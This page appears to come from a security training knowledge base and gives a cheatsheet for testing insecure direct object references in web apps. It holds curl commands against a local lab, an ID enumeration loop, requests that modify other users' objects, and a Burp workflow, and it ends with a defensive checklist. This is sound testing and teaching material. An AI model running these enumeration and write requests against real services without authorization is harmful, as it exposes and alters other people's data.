Operator On The Wire
← Back to Knowledge Base
OOTW / Chapter III - Web / 02. IDOR

Cheatsheet

Use this as a quick reference while testing object-level authorization.


Object Reference Locations

URL path
Query string
POST form body
JSON body
Cookies
Headers
Hidden form fields
JavaScript variables
API responses
File names
Download tokens

Examples:

GET /users/4
GET /download?id=7
GET /idor/basic?id=3
POST /profile user_id=3
PATCH /api/orders/12
POST /api/report {"owner_id":2}

Test Matrix

Use at least two users or two seeded owners.

operator -> operator object
operator -> alice object
operator -> bob object
operator -> admin object
alice    -> operator object
alice    -> admin object

Track:

status code
response size
owner shown in response
sensitive fields
write success
delete success
download success

Simple curl Checks

Normal object:

curl -i "http://127.0.0.1:5000/idor/basic?id=2"

Other user's object:

curl -i "http://127.0.0.1:5000/idor/basic?id=3"

Admin object:

curl -i "http://127.0.0.1:5000/idor/basic?id=1"

Compare two IDs:

curl -s "http://127.0.0.1:5000/idor/basic?id=2" -o own.txt
curl -s "http://127.0.0.1:5000/idor/basic?id=3" -o other.txt
wc -c own.txt other.txt

Enumerate IDs:

for i in $(seq 1 20); do
  code=$(curl -s -o /tmp/idor-$i.txt -w "%{http_code}" "http://127.0.0.1:5000/idor/basic?id=$i")
  size=$(wc -c < /tmp/idor-$i.txt)
  echo "$i $code $size"
done

Protection Checks

Weak blacklist:

curl -i "http://127.0.0.1:5000/idor/blacklist?id=1"
curl -i "http://127.0.0.1:5000/idor/blacklist?id=3"

Owner check:

curl -i "http://127.0.0.1:5000/idor/better?id=3"
curl -i "http://127.0.0.1:5000/idor/better?id=999"

Fixed query:

curl -i "http://127.0.0.1:5000/idor/fixed?id=3"
curl -i "http://127.0.0.1:5000/idor/fixed?id=999"

The fixed route should not reveal a useful difference between an object that exists but is forbidden and an object that does not exist.


Encoded References

Base64:

echo -n "10" | base64
echo "MTA=" | base64 -d

Hex:

printf "%x\n" 10
printf "%d\n" 0x0a

MD5-shaped references:

echo -n "10" | md5sum

Encoding is not access control.


API Checks

GET object:

curl -s "http://127.0.0.1:5000/api/users/3"

JSON body:

curl -s \
  -H "Content-Type: application/json" \
  -d '{"user_id":3}' \
  "http://127.0.0.1:5000/api/profile"

Update object:

curl -i \
  -X PATCH \
  -H "Content-Type: application/json" \
  -d '{"title":"changed"}' \
  "http://127.0.0.1:5000/api/documents/3"

Burp Workflow

Use Repeater first:

Send request to Repeater
Change only the object ID
Compare status, size, and content

Use Intruder when the pattern is stable:

Mark only the object ID
Use a small numeric range
Sort by status code or length
Review hits manually

Do not treat every 200 as valid access. Confirm object owner and content.


Impact Labels

Horizontal access:

normal user -> another normal user's object

Vertical access:

normal user -> admin object

Read impact:

view document
download file
read profile
read invoice

Write impact:

modify profile
change email
delete document
approve order
reset password

Write impact is usually higher risk than read impact.


Defensive Review

Confirm:

  • Every object operation checks ownership or role.
  • Authorization is enforced server-side.
  • Hidden fields are not trusted.
  • IDs in JSON bodies are not trusted.
  • UUIDs are treated as references, not permissions.
  • Read and write routes use the same authorization model.
  • Admin routes check role and object scope.
  • Denied object access is logged.